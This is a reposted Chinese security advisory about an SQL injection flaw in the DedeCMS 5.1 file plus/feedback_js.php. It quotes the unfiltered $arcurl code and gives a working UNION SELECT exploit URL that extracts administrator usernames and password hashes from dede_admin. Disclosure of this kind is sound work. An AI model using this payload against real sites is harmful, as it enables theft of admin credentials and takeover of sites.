DEDECMS内容网站系统feedback_js.php页面$arcurl参数SQL注入漏洞

2011-3-30 17:33:15 来源:网络转载 浏览:267
DEDECMS内容网站系统feedback_js.php页面$arcurl参数SQL注入漏洞
出现版本:Dedecms网站内容系统 5.1

程序简介: DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析: 此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl
 
......
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne('Select id From `#@__cache_feedbackurl` where url='$arcurl' ');
//此处$arcurl没有过滤
if(is_array($row)) $urlindex = $row['id'];
//存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了
}
if(empty($arcID) && empty($urlindex)) exit();
//如果$arcID为空或$urlindex为空则退出
......
if(empty($arcID)) $wq = ' urlindex = '$urlindex' ';
//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.
else $wq = ' aid='$arcID' ';
$querystring = 'select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc';
$dlist->Init();
$dlist->SetSource($querystring);
...... 

漏洞利用: http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select '' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='' from dede_admin where ''='

解决方案:
开发厂商:dedecms
目前厂商已经提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com
(0)
(0)